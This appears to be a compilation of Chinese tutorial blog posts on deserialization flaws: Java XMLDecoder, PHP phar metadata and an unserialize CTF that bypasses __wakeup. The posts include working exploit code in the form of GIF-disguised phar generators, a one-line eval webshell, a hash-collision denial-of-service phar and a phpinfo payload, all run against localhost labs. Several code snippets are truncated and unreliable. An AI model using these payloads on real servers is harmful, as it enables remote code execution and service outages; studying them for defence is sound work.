就可以把之前的xml数据反序列化回map对象,那么如果对xml数据进行修改,使其变成一个执行命令的数据。比如说:
然后对其反序列化即可执行命令弹出计算器。
现在我们知道了如果使用XMLDecoder去反序列化xml数据,数据中包含的命令会被执行。接下来就对其进行分析一下。
XMLDecoder反序列化漏洞成因
一、XML数据解析前的函数处理
在readObject处打上断点开始debug
进入了parsingComplete方法,跟进。
其中使用XMLDecoder的handler属性DocumentHandler的parse方法,并且传入了我们输入的xml数据,跟进。
这里调用了SAXParserImpl类的parse方法。
然后又进了xmlReader的parse方法。
这里又调用了xmlReader父类AbstractSAXParser的parser方法。
最后进入了XML11Configuration类的parse方法。
二、XML数据的处理
在XML11Configuration中进行了很多解析XML之前的操作,我们不去仔细研究,看到处理XML数据的函数scanDocument。跟进查看
这个函数通过迭代的方式对XML数据的标签进行解析,网上有些文章写道“解析至END_ELEMENT时跟进调试”,但是我看了一下我这里的END_ELEMENT。
里面没有函数可以跟进啊,然后搜了一些其他的文章,是因为jdk版本的问题,处理的逻辑放在了next函数里。在do while循环里跳了大概十次,就开始解析了xml的标签。
跳到XMLDocumentScannerImpl中的next方法
跳到XMLDocumentFragmentScannerImpl中的next方法,解析到endtag时会走到scanEndElement方法里。
然后就到了网上说的endElement方法里,跟进。
这一部分的解析可以参考下图:
也就是说解析时会按照标签一个一个解析。
这里调用了DocumentHandler的endElement方法。接下来就是很重要的部分
这里的handler是StringElementHandler,但是这个类没有重写endElement方法,所以调用的是父类ElementHandler的endElement方法,其中调用了getValueObject来获取标签中的value值,这里的标签是string标签,所以获取到的值是calc。
然后将其添加到其父类标签VoidElementHandler的Argument属性中。
然后将handler指向其父类VoidElementHandler。
继续解析到void标签,此时的handler就是VoidElementHandler,接着调用getValueObject。但是因为没有重写该方法,所以调用父类NewElementHandler的getValueObject。
继续跟进发现实现了反射调用invoke方法,也就是执行了set方法。接着再解析Array标签,按照上面的步骤解析,就完成了这一部分参数的解析。
那么再按照上面的步骤解析object标签,然后调用new 方法实例化 ProcessBuilder类。
然后解析到void标签获取到start方法,然后通过调用start方法实现了命令执行,弹出计算器。
也就相当于最后拼接了 new java.lang.ProcessBuilder(new String[]{"calc"}).start();
文章有说的不对的地方请师傅们指点,刚开始学java,大佬们轻喷。。。
参考文章
https://b1ue.cn/archives/239.html
https://zhuanlan.zhihu.com/p/108754274
https://blog.csdn.net/SKI_12/article/details/85058040
相关实验——Java反序列漏洞
(本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞。)
相关阅读 |java反序列化——apache-shiro复现分析
推荐阅读 |求职渗透测试没那么难,3个步骤助你应聘成功
phar反序列化漏洞
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserializ(),
随着代码安全性越来越高,利用难度也越来越大。
利用phar文件会以序列化的形式储存用户自定义的meta-data这一特性,扩展了php反序列漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以
不依赖unserialize()直接进行反序列化操作。
0X01
phar文件结构
1.a stub
可以理解为一个标志,格式为xxx<?phpxxx;HALT_COMPILER();?>,前期内容不限,但必须以HALT_COMPILER();?>来结尾,
否则phar扩展无法识别其为phar文件。
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。
这部分将会以序列化的形式存储用户自定义的meta-data。
3.the file contents
被压缩文件内容。
4.[optional]a signature for verifying Phar integrity(phar file foformat only)
签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。
漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,
然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,
会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
0X02
前提:
phar_gen.php文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行生成phar.phar文件
phar_test1.php文件
<?php
class TestObject {
public function __destruct() {
echo ''Destruct called'';
#@eval(''phpinfo();'');
}
}
$filename = ''phar://phar.phar/test.txt'';
file_get_contents($filename); //file_get_contents — 将整个文件读入一个字符串
?>
和phar.phar在同一文件夹下运行
0X03
将phar文件伪造成其他格式的文件
通过伪造文件可以绕过一些文件上传限制。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
0X04
实际利用
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
0X05
防御
在文件系统函数的参数可控时,对参数进行严格的过滤。
严格检查上传文件的内容,而不是只检查文件头。
在条件允许的情况下禁用可执行系统命令、代码的危险函数。
phar反序列化漏洞学习
被大师傅问到了说不出,菜菜呜呜
一、漏洞原理
1.1 phar文件格式
PHP 反序列化漏洞通常是将序列化后的字符串传入 unserialize() 函数造成的,而这里的 phar 反序列化漏洞利用的是 phar 会以序列化的形式存储用户自定义的 Meta-data 特性。维基百科解释的 phar 文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。
phar 文件由四部分构成:
1. stub
可以理解为 phar 文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx 可以为自定义内容。
2. manifest
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 Meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。
1.2 phar文件生成
PHP 内置了一个 Phar 类来处理相关操作,可以将 PHP.ini 中的 phar.readonly 选项设置为 Off 自己生成一个 phar 文件
执行这个 phar.PHP 文件生成一个 phar.phar 文件
<?PHP class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?PHP __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的Meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
phar.phar 中 Meta-data 的内容以序列化的形式存储
有序列化的数据那也必然有反序列化操作,PHP 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 Meta-data 进行反序列化,seaii@知道创宇404实验室测试出如下受影响的函数,zxc 师傅又给出了很多其他利用方式 https://blog.zsxsoft.com/post/38
二、漏洞利用实例
2.1 漏洞利用条件
1.phar 文件要能够上传到服务器端
2.要有可用的魔术方法作为跳板
3.文件操作函数的参数可控,且 “:”、“/”、“phar” 等特殊字符没有被过滤
2.2 文件上传绕过格式限制
PHP 识别 phar 文件是通过其文件头的 stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头和修改后缀名的方式将 phar 文件伪装成其他格式的文件
实例 demo 参考写在最下面了
- 上传文件表单:upload.html
- 后端校验页面:upload.PHP(校验文件内容和文件后缀是否为 gif)
- 漏洞页面:index.PHP(存在 file_exists() 和 __destruct() 函数)
- 新建目录:upload_file(存储上传成功的文件)
upload.html
<!DOCTYPE html> <html> <head> <title>upload file</title> </head> <body> <form action="http://127.0.0.1/upload.PHP" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="upload" /> </form> </body> </html>
upload.PHP
<?PHP if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif'){ echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if(file_exists("upload_file/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. "; }
else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } }
else{ echo "Invalid file, you can only upload gif"; }
index.PHP
<?PHP class TestObject{ var $data = 'echo "Hello World";'; function __destruct() { eval($this -> data); } } if ($_GET["file"]){ file_exists($_GET["file"]); }
实验过程:
1.文件内容为 gif 的校验可以通过在文件头部添加 GIF89a 绕过,文件后缀为 gif 的校验可以先生成一个 phar 文件,再修改后缀
<?PHP class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?PHP __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='PHPinfo();'; //控制TestObject中的data为PHPinfo()。 $phar->setMetadata($o); //将自定义的Meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
2.成功上传到 upload_file 目录下
3.访问 http://127.0.0.1/index.PHP?file=phar://upload_file/phar.gif,成功执行 PHPinfo();
2.3 getshell
生成 phar_shell.phar 文件
<?PHP class TestObject { } $phar = new Phar("phar_shell.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?PHP __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='eval(@$_POST[\'apple\']);'; //控制TestObject中的data为一句话木马 $phar->setMetadata($o); //将自定义的Meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
上传步骤和 2.2 一样,shell 连接地址 http://127.0.0.1/index.PHP?file=phar://upload_file/phar_shell.gif
2.4 配合PHP内核哈希表碰撞攻击
漏洞原理:在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击
实验过程:
1.生成恶意 phar 文件
<?PHP set_time_limit(0); $size= pow(2, 16); $array = array(); for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $array[$key] = 0; } $new_obj = new stdClass; $new_obj->hacker = $array; $p = new Phar(__DIR__ . '/phar_ddos.phar', 0); $p['hacker.PHP'] = '<?PHP ?>'; $p->setMetadata($new_obj); $p->setStub('<?PHP __HALT_COMPILER();?>'); ?>
2.测试漏洞效果
<?PHP set_time_limit(0); $startTime = microtime(true); file_exists("phar://phar_ddos.phar"); $endTime = microtime(true); echo 'Time comsumption: '.($endTime - $startTime). ' s'; ?>
3.访问 http://127.0.0.1/ddos.PHP 耗时 4.6 秒
三、总结
在写这篇文件包含与伪协议 https://www.cnblogs.com/wkzb/p/15628219.html 小笔记的时候提到了一下 phar 的反序列化,但是没好好学习,终于补上啦,最近特别爱玩,上班的时候听见师傅们讨论学习进度插不进话,呜呜呜呜呜哇我学还不行嘛!
参考文章:
https://paper.seebug.org/680/
https://www.freebuf.com/articles/web/205943.html
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
php 反序列化漏洞简介
0x01.反序列化漏洞介绍
序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法。
什么是序列化(serialize)? 对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。
什么是反序列化(unserialize)? 将字符串转换为状态信息 序列化 <—>反序列化。
PHP中的几个特殊的魔术方法。
1.__construct():当对象创建(new)时会自动调用,但在unserialize()时是不会 自动调用的(构造函数) 2.__destruct():当对象操作执行完毕后自动执行__destruct()
函数的代码。
3.__wakeup:unserialize()时自动调用。
还有好多,我就不细讲了,关于其他的魔术方法可以百度百度。
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
0x02.通过demo理解反序列化漏洞
如果不懂,实在不知道,可以狭义的理解。
序列化是编码。
反序列化是解码。
下面的话我仔细解释:
<?PHPclass test{ var $test = "MSKJ"; function __destruct(){ //echo $this->test; }}$obj = new test();$ser = serialize($obj);echo $se
这里就用 __destruct
演示,后面的实验我会用 __wakeup()
来演示。
上面这段代码为序列化,可以理解成编码。
O:4:"test":1:{s:4:"test";s:4:"MSKJ";}
接下来就是就是解码(反序列化)。
像这个就可以打xss了,然后貌似基本的讲的差不多了。
这只是我个人理解,帮助大家快速建立一个理解,别说我误人子弟。
0x03. 通过某CTF题目继续潜入了解反序列化漏洞
接下来就开始讲一下某CTF题目,对于反序列化,我一直模棱两可,之前是一直以为是优先级的问题,但是还是不好确定,就先把这个疑问放到一边了(如果哪位兄弟想探讨一下可以公众号私聊一下)。
<?PHPhighlight_file(__FILE__);error_reporting(0);class convent{ var $warn = "No hacker."; function __destruct(){ eval($this->warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } }}$cmd = $_POST[cmd];unserialize
这边可以看出这个类用了两个方法。
1.__destruct
: 对象操作执行完毕后自动执行该函数内的代码;
2.__wakeup
: 遇到 unserialize 时触发。
这边的 __wakeup 是事件型的,如果没遇到 unserialize 就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。
看到了一篇文章很好:https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw 可以看看。
<?PHPheader("Content-type: text/html; charset=utf-8");class people{ public $name = "f1r3K0"; public $age = '18'; function __wakeup(){ echo "这是 __wakeup()"; echo "<br>"; } function __construct(){ echo "这是 __consrtuct()"; echo "<br>"; } function __destruct(){ echo "这是 __destruct()"; echo "<br>"; } function __toString(){ echo "这是 __toString"; echo "<br>"; }}$class = new people();$class_ser = serialize($class); //序列化 print_r($class_ser); $class_unser = unserialize($class_ser); //反序列化print_r
通过这段代码,可以看出 __wakeup()
是优先执行的,优先级高于 __destruct()
那么再看看上面的ctf题目就懂了,因为遇到了unserialize 得先执行 __wakeup
里面的内容,才能跑到我们想要的 __destruct()
里面,所以得绕过这个 __wakeup
关于 get_object_vars 是什么可以看看这篇文章:http://blog.sina.com.cn/s/blog_4ce89f200100rhrx.html
其实就是遍历一下非静态的,可能有新手玩家不理解,没事,咱写一份代码就懂了,手工测试(这也是我最常用的方法)。
<?PHPheader("Content-type: text/html; charset=utf-8");error_reporting(0);class object1 { var $warn = "No hacker."; function __destruct(){ echo "这是魔术方法__destruct"; echo "<br> "; echo "hello world"; }function __wakeup(){$this->warn = null;print_r(get_object_vars($this));echo "<br>"; }}$cmd = $_GET[cmd];unserialize($cmd);//$b = new convent();//$c = serialize($b);//ech
看下输出结果,其实就是把 warn的值变为空,那么就懂了这个 __wakeup
中的代码是干嘛的了。
就是把 warn的值进行过滤,把它变成空,所以我们不能让 __wakeup
执行,目标明确,开始淦它~~~
__wakeup
是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,就不会调用这个魔术方法了。
通过修改一下,让这个源码生成一个exp,当然,你也可以自己构造。
O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}
里面的值是不可以修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过 __wakeup
因为我看了好多讲这个绕过的方法,就直接一句修改属性大于实际个数,我是真的fo了,一句话就算原理,看得我都懵逼中........... (遇到这种情况可以手动写份代码fuzz一下)。
O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}
也就是把1改为其他数字就可以了,也可以改成10。然后把 No hacker
改为 PHPinfo();
但是要注意修改 前面 s的值,因为 PHPinfo();
也是占了十位,所以不用去改。
O:7:"convent":2:{s:4:"warn";s:10:"PHPinfo();";}
成功构造payload了,然后再post传参里面传入。
总结
本篇文章也就是简单的了解下什么是 PHP反序列化,本篇文章虽然不长,但是讲了反序列化是什么,怎么形成反序列化漏洞。然后多个魔术方法情况下是看哪个先执行。
比如 __wakeip
是个事件型的,遇到unserialize
就会优先调用执行,但是__construct
的执行顺序还是优先 __wakeup
。当然,这只是举个例子,方法还是一样的。
今天关于php反序列化漏洞和PHP反序列化漏洞和利用的介绍到此结束,谢谢您的阅读,有关java反序列化——XMLDecoder反序列化漏洞、phar反序列化漏洞、phar反序列化漏洞学习、php 反序列化漏洞简介等更多相关知识的信息可以在本站进行查询。
本文标签: